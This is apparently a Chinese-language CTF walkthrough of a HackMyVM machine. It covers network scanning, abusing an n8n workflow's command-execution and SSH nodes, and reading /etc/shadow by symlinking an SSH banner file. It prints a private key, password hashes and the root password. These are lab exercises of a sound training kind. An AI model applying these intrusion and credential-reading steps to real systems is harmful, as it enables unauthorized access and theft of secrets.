信息收集 1 2 3 4 5 6 7 8 9 10 ┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm] └─# arp-scan -I eth1 192.168.56.0/24 Interface: eth1, type: EN10MB, MAC: 00:0c:29:34:da:f5, IPv4: 192.168.56.103 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.1 0a:00:27:00:00:0e (Unknown: locally administered) 192.168.56.100 08:00:27:43:9b:54 PCS Systemtechnik GmbH 192.168.56.108 08:00:27:b9:ee:14 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.277 seconds (112.43 hosts/sec). 3 responded
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 ┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm] └─# nmap -sC -sV 192.168.56.108 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-27 05:20 EST Nmap scan report for 192.168.56.108 Host is up (0.00052s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http nginx |_http-title: Site doesn't have a title (text/html). 5678/tcp open rrac? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Accept-Ranges: bytes | Cache-Control: public, max-age=86400 | Last-Modified: Thu, 27 Feb 2025 10:18:14 GMT | ETag: W/"7b7-19546e9fd60" | Content-Type: text/html; charset=UTF-8 | Content-Length: 1975 | Vary: Accept-Encoding | Date: Thu, 27 Feb 2025 10:20:31 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <script type="module" crossorigin src="/assets/polyfills-DfOJfMlf.js"></script> | <meta charset="utf-8" /> | <meta http-equiv="X-UA-Compatible" content="IE=edge" /> | <meta name="viewport" content="width=device-width,initial-scale=1.0" /> | <link rel="icon" href="/favicon.ico" /> | <style>@media (prefers-color-scheme: dark) { body { background-color: rgb(45, 46, 46) } }</style> | <script type="text/javascript"> | window.BASE_PATH = '/'; | window.REST_ENDPOINT = 'rest'; | </script> | <script src="/rest/sentry.js"></script> | <script>!function(t,e){var o,n, | HTTPOptions, RTSPRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 143 | Vary: Accept-Encoding | Date: Thu, 27 Feb 2025 10:20:31 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot OPTIONS /</pre> | </body> |_ </html>
80端口的内容
1 2 3 4 5 6 7 8 9 ┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm] └─# curl http://192.168.56.108/ -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75 BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM= -----END OPENSSH PRIVATE KEY-----
将私钥保存下来解一下里面的内容
1 2 3 ┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm] └─# ssh-keygen -y -f id_rsa ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKiYY31x+ZMvvHfmGWC7ZE75BbdbAKYEtIX75k6CL27C shawa@hero
80端口给了一个私钥。但是靶机并没有开启22端口。所以我们暂时并不知道这个私钥可以用来干什么
5678端口 5678是是一个n8n的管理页面
创建一个账号进来
测试 新建一个workflow
在加入功能的板块有一个Core
里面有一个可以执行系统命令的板块
我将它与chat连接到一起,就可以在聊天框执行系统命令
但是node用户的目录下面并没有我们想要的use.txt
在/
目录下发现了.dockerenv
文件才得知这是一个docker环境
当我得知这个环境是一个docker的时候 我的思路已经开始偏离了
我去网上搜索各种docker逃逸的方法,其他逃离出这个环境
很遗憾我尝试的办法都失败了
后来我想起来可以在这个docker
环境上面下载一个nmap
来扫描一下靶机在172.17.0.1
这个网络地址上面开启了什么服务
我在github
上下载了nmap
的源码之后尝试上传上去进行安装。但是由于种种原因未能成功安装
后来看了ll104567
的视频我得到了提示 n8n
上面可以添加远程ssh凭证
使用arp -a
可以找到主机的ip
就这样可以成功将靶机的凭证添加到n8n
上面
但是新的问题来了。
我该如何执行命令呢?
在刚才添加模块的页面我看到有一个模块可以远程执行ssh命令
将它添加进去
如何执行命令
我们成功的看到了我们希望的user.txt
提权 然后我就试着反弹一个shell
在我使用sudo -l
想要来找一些东西的时候
竟然没有sudo
???
如何我又找了具有s
权限的文件
1 2 3 $ find / -perm -u=s -type f 2>/dev/null bin/bbsuid $
但是没有sudo
我貌似无法使用。。只能再找其他的办法
我觉得自己可能被困在了busybhox环境中
然后我就又开始寻找逃逸busybox的方法
不幸
又没找到
/etc/ssh/sshd_config
中指定了Banner文件的路径Banner /opt/banner.txt
1 2 3 4 5 6 /opt $ ls -al total 16 drw-rw-rwx 3 root root 4096 Feb 6 10:14 . drwxr-xr-x 21 root root 4096 Feb 6 10:03 .. -rw-rw-rw- 1 root root 16 Feb 6 10:09 banner.txt drwx--x--x 4 root root 4096 Feb 6 10:14 containerd
这里你可以用ln -s /etc/shadow banner.txt
创建一个软链接将banner.txt
指向/root/shadow
来读取密码
当然 你也可以直接读取/root/root.txt
来获取flag
修改banner之后
再次进行ssh登录
你再这个shell中进行ssh登录密钥验证可能会无法通过
1 2 3 /tmp $ ssh -i id_rsa shawa@172.17.0.1 Pseudo-terminal will not be allocated because stdin is not a terminal. Host key verification failed.
这是你需要加上-o StrictHostKeyChecking=no
禁用严格的主机密钥检查,自动接受新密钥。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $ ssh -i id_rsa -o StrictHostKeyChecking=no shawa@172.17.0.1 Pseudo-terminal will not be allocated because stdin is not a terminal. Warning: Permanently added '172.17.0.1' (ED25519) to the list of known hosts. # Imthepassthaty0uwant! root:$6$WBuW3zyLro0fagui$gq9zWbt3gEpo26gkIjtgjYZqjCJtjJrJO9EHaWkglVZWwWhQiiSNmMGejRn.Q58Z9knsWP59OQqLPgt2NAWd80:20125:0::::: bin:!::0::::: daemon:!::0::::: lp:!::0::::: sync:!::0::::: shutdown:!::0::::: halt:!::0::::: mail:!::0::::: news:!::0::::: uucp:!::0::::: cron:!::0::::: ftp:!::0::::: sshd:!::0::::: games:!::0::::: ntp:!::0::::: guest:!::0::::: nobody:!::0::::: klogd:!:20125:0:99999:7::: chrony:!:20125:0:99999:7::: nginx:!:20125:0:99999:7::: shawa:$6$24FnSb8jAyKUSa4W$Z7fiPgCy1q8VTg6eF0tVe2cjlHfZEB.fswQyBWoZdY3PwV6VyckxP8OhskWf/Kgx881HhsT2uWvVPTGRpJ43T.:20125:0:99999:7:::
第一行注释就是我们想要的root
用户的密码
1 2 3 4 5 6 su Password: Imthepassthaty0uwant! whoami root id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)